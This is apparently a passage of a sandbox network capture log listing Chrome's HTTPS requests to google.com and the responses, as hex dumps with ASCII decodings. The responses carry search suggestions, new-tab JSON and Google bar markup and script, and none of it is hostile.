2024-11-18 14:16:41 UTC	112	IN	Data Raw: 65 30 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 72 65 66 69 6e 61 6e 63 65 20 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 22 2c 22 64 65 6e 76 65 72 20 62 72 6f 6e 63 6f 73 20 61 74 6c 61 6e 74 61 20 66 61 6c 63 6f 6e 73 22 2c 22 6d 61 72 74 69 6e 20 73 63 6f 72 73 65 73 65 20 70 72 65 73 65 6e 74 73 20 74 68 65 20 73 61 69 6e 74 73 22 Data Ascii: e0e)]}'["",["refinance mortgage rates","denver broncos atlanta falcons","martin scorsese presents the saints"
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 2c 22 67 74 61 20 36 20 6c 65 61 6b 65 64 20 73 63 72 65 65 6e 73 68 6f 74 73 22 2c 22 6c 65 6f 6e 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 22 2c 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 65 61 67 6c 65 73 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 66 72 69 65 6e 64 73 68 69 70 20 70 61 79 73 20 72 65 77 61 72 64 73 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 31 38 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 Data Ascii: ,"gta 6 leaked screenshots","leonids meteor shower","philadelphia eagles","monopoly go friendship pays rewards","nyt connections hints november 18"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SE
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 32 74 52 65 6d 46 55 63 44 4d 79 53 55 38 72 4c 32 5a 30 4f 44 46 36 63 46 4a 77 64 46 46 73 65 6c 67 78 62 6e 46 6d 62 6d 78 44 53 30 77 34 52 6b 5a 6d 59 33 70 74 63 45 78 4a 4e 30 73 79 54 6c 68 77 57 45 39 4f 55 44 4d 34 4d 56 4a 34 5a 45 6b 31 59 6a 6c 73 4e 55 74 47 64 45 45 32 65 6b 70 71 65 44 6b 35 4f 54 6b 32 53 58 59 7a 53 45 39 30 61 47 68 52 53 6a 46 49 56 31 6c 70 59 7a 6c 55 57 55 64 6c 64 33 68 77 4c 32 63 77 53 48 68 35 53 7a 46 70 4e 47 68 35 57 56 5a 53 53 6c 68 6b 52 6a 6c 50 52 58 64 53 4e 32 70 5a 52 53 39 50 4d 55 35 71 4d 31 4e 30 61 6c 51 78 57 6c 56 30 64 6d 4a 79 5a 48 67 31 64 46 6c 35 55 32 52 4a 4d 48 6b 31 4d 33 67 7a 64 30 52 55 53 47 70 56 54 6e 5a 47 53 31 56 44 55 6d 38 72 62 46 4a 78 54 57 68 48 54 57 78 32 62 6e 67 33 Data Ascii: 2tRemFUcDMySU8rL2Z0ODF6cFJwdFFselgxbnFmbmxDS0w4RkZmY3ptcExJN0syTlhwWE9OUDM4MVJ4ZEk1YjlsNUtGdEE2ekpqeDk5OTk2SXYzSE90aGhRSjFIV1lpYzlUWUdld3hwL2cwSHh5SzFpNGh5WVZSSlhkRjlPRXdSN2pZRS9PMU5qM1N0alQxWlV0dmJyZHg1dFl5U2RJMHk1M3gzd0RUSGpVTnZGS1VDUm8rbFJxTWhHTWx2bng3
2024-11-18 14:16:41 UTC	737	IN	Data Raw: 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 67 76 62 53 38 77 4e 58 52 6e 4d 78 49 4e 52 6d 39 76 64 47 4a 68 62 47 77 67 64 47 56 68 62 54 4b 66 46 6d 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 61 6e 42 6c 5a 7a 74 69 59 58 4e 6c 4e 6a 51 73 4c 7a 6c 71 4c 7a 52 42 51 56 46 54 61 31 70 4b 55 6d 64 42 51 6b 46 52 51 55 46 42 55 55 46 43 51 55 46 45 4c 7a 4a 33 51 30 56 42 51 57 74 48 51 6e 64 6e 53 45 4a 6e 61 30 6c 43 64 32 64 4c 51 32 64 72 54 45 52 53 57 56 42 45 55 58 64 4e 52 46 4a 7a 56 55 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 Data Ascii: l":10002},{"google:entityinfo":"CggvbS8wNXRnMxINRm9vdGJhbGwgdGVhbTKfFmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTV
2024-11-18 14:16:41 UTC	87	IN	Data Raw: 35 31 0d 0a 50 57 6e 4a 4c 4d 57 4e 4d 61 54 64 48 55 6e 5a 51 4d 46 46 52 54 44 46 49 57 47 78 71 4e 30 46 6d 59 32 35 52 4e 46 4e 30 61 44 63 76 54 30 39 54 61 48 6c 31 59 32 77 72 52 6d 70 30 5a 46 4d 30 56 30 74 57 5a 44 46 61 53 6b 5a 69 4c 33 52 50 0d 0a Data Ascii: 51PWnJLMWNMaTdHUnZQMFFRTDFIWGxqN0FmY25RNFN0aDcvT09TaHl1Y2wrRmp0ZFM0V0tWZDFaSkZiL3RP
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 64 62 34 0d 0a 5a 6d 4a 6c 64 45 68 5a 51 6c 6b 72 54 33 63 78 64 30 64 57 62 47 31 75 57 6d 52 74 61 6d 30 76 52 57 70 4e 59 33 63 31 55 43 39 6f 64 6b 6f 79 54 32 6c 53 61 55 4e 6d 56 33 52 7a 54 33 4a 77 53 47 78 30 59 6b 46 48 64 6a 4d 76 56 47 64 51 56 57 30 31 64 58 70 4f 51 33 68 61 63 32 4d 77 65 6a 46 79 56 56 55 34 64 46 6c 57 52 6c 46 76 65 47 78 71 61 6d 46 52 63 48 52 42 51 56 42 73 55 6e 59 76 51 55 70 34 54 7a 68 6c 54 58 68 48 56 6b 39 6b 61 6d 67 72 53 48 56 46 52 6d 4a 6c 55 47 74 4c 65 44 46 78 63 47 46 4b 62 47 56 4f 61 6a 42 75 57 6a 4e 77 5a 33 46 6f 62 55 6b 76 62 44 42 6b 4f 45 52 61 64 57 56 5a 4d 47 46 6b 5a 7a 4e 78 4d 6b 70 74 52 48 6c 55 4d 58 46 54 55 6d 4a 72 4f 56 41 77 65 6b 6c 77 59 33 56 52 55 33 42 4a 4d 7a 42 79 4d 6b Data Ascii: db4ZmJldEhZQlkrT3cxd0dWbG1uWmRtam0vRWpNY3c1UC9odkoyT2lSaUNmV3RzT3JwSGx0YkFHdjMvVGdQVW01dXpOQ3hac2MwejFyVVU4dFlWRlFveGxqamFRcHRBQVBsUnYvQUp4TzhlTXhHVk9kamgrSHVFRmJlUGtLeDFxcGFKbGVOajBuWjNwZ3FobUkvbDBkOERadWVZMGFkZzNxMkptRHlUMXFTUmJrOVAweklwY3VRU3BJMzByMk
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 47 46 7a 4f 46 6f 79 63 6d 78 6b 51 54 59 76 56 57 46 51 4d 43 74 56 4f 58 70 34 61 6a 67 35 62 56 70 4d 5a 55 68 72 5a 57 68 4d 4e 6c 56 53 62 6d 46 30 57 6b 31 53 57 55 78 61 56 6e 52 54 59 6a 42 34 53 6b 4d 35 57 57 73 77 55 47 38 79 64 6e 4a 34 55 7a 56 43 63 32 31 77 65 6e 42 6f 4e 56 46 6b 59 6e 4e 79 53 43 74 36 4c 30 46 44 4c 7a 4e 6a 53 6b 6c 36 5a 48 46 57 61 32 4e 46 5a 6c 42 47 59 7a 46 6c 59 30 31 36 52 54 4e 75 4e 48 51 7a 4c 7a 4e 49 63 55 67 35 57 45 5a 75 52 44 45 77 62 6e 64 7a 52 57 49 78 52 33 4e 58 61 47 52 4d 4d 57 39 74 54 32 74 6c 54 6d 64 78 65 58 55 7a 4d 6c 68 76 57 46 64 35 51 56 4e 6b 5a 44 6c 46 59 32 46 69 4f 47 4a 6a 53 54 46 6d 54 44 45 34 65 6b 56 75 4f 45 63 77 5a 32 6c 73 53 55 68 70 55 6d 5a 48 4c 33 64 43 56 69 39 77 Data Ascii: GFzOFoycmxkQTYvVWFQMCtVOXp4ajg5bVpMZUhrZWhMNlVSbmF0Wk1SWUxaVnRTYjB4SkM5WWswUG8ydnJ4UzVCc21wenBoNVFkYnNySCt6L0FDLzNjSkl6ZHFWa2NFZlBGYzFlY016RTNuNHQzLzNIcUg5WEZuRDEwbndzRWIxR3NXaGRMMW9tT2tlTmdxeXUzMlhvWFd5QVNkZDlFY2FiOGJjSTFmTDE4ekVuOEcwZ2lsSUhpUmZHL3dCVi9w
2024-11-18 14:16:41 UTC	759	IN	Data Raw: 79 55 31 46 76 5a 30 6c 4c 55 79 74 70 61 31 56 6a 56 56 6c 52 5a 58 46 5a 65 58 70 73 55 54 5a 75 55 6b 78 72 64 54 56 59 4e 57 5a 5a 4f 45 45 77 63 6d 4e 33 57 6b 52 73 65 58 52 6f 53 57 56 56 4e 56 52 4b 51 57 35 52 62 44 4a 68 53 6d 68 4c 62 7a 6c 55 4d 56 42 73 54 47 46 44 4e 31 42 69 4f 55 39 4f 54 32 35 4a 57 45 31 75 54 6b 35 78 54 7a 46 36 61 47 74 57 61 47 6c 52 61 33 4a 59 61 45 4e 73 62 44 4d 7a 53 55 46 42 4e 6c 59 34 52 48 59 7a 53 6a 46 33 51 32 64 32 63 6b 56 59 4d 6b 51 31 59 58 52 61 4c 30 39 32 61 6d 4e 54 4c 33 4a 33 63 45 6c 52 4d 58 5a 76 53 56 46 53 5a 7a 5a 45 61 32 55 79 65 44 4e 42 4f 44 68 6c 61 58 4e 47 61 57 46 31 52 48 68 57 5a 6b 68 56 62 44 46 47 51 33 56 30 62 6e 6c 34 4f 54 4a 51 4d 30 6f 33 4f 47 4e 33 5a 55 5a 34 4b 30 Data Ascii: yU1FvZ0lLUytpa1VjVVlRZXFZeXpsUTZuUkxrdTVYNWZZOEEwcmN3WkRseXRoSWVVNVRKQW5RbDJhSmhLbzlUMVBsTGFDN1BiOU9OT25JWE1uTk5xTzF6aGtWaGlRa3JYaENsbDMzSUFBNlY4RHYzSjF3Q2d2ckVYMkQ1YXRaL092amNTL3J3cElRMXZvSVFSZzZEa2UyeDNBODhlaXNGaWF1RHhWZkhVbDFGQ3V0bnl4OTJQM0o3OGN3ZUZ4K0
2024-11-18 14:16:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49709	142.250.184.196	443	6252	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:41 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 14:16:41 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 14:16:41 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 14:16:41 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-18 14:16:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49712	142.250.184.196	443	6252	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:41 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 14:16:41 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 14:16:41 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 14:16:41 UTC	360	IN	Data Raw: 32 37 34 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 274e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700247,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-18 14:16:41 UTC	1378	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-18 14:16:41 UTC	64	IN	Data Raw: 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 0d 0a Data Ascii: c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]
2024-11-18 14:16:41 UTC	376	IN	Data Raw: 31 37 31 0d 0a 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f Data Ascii: 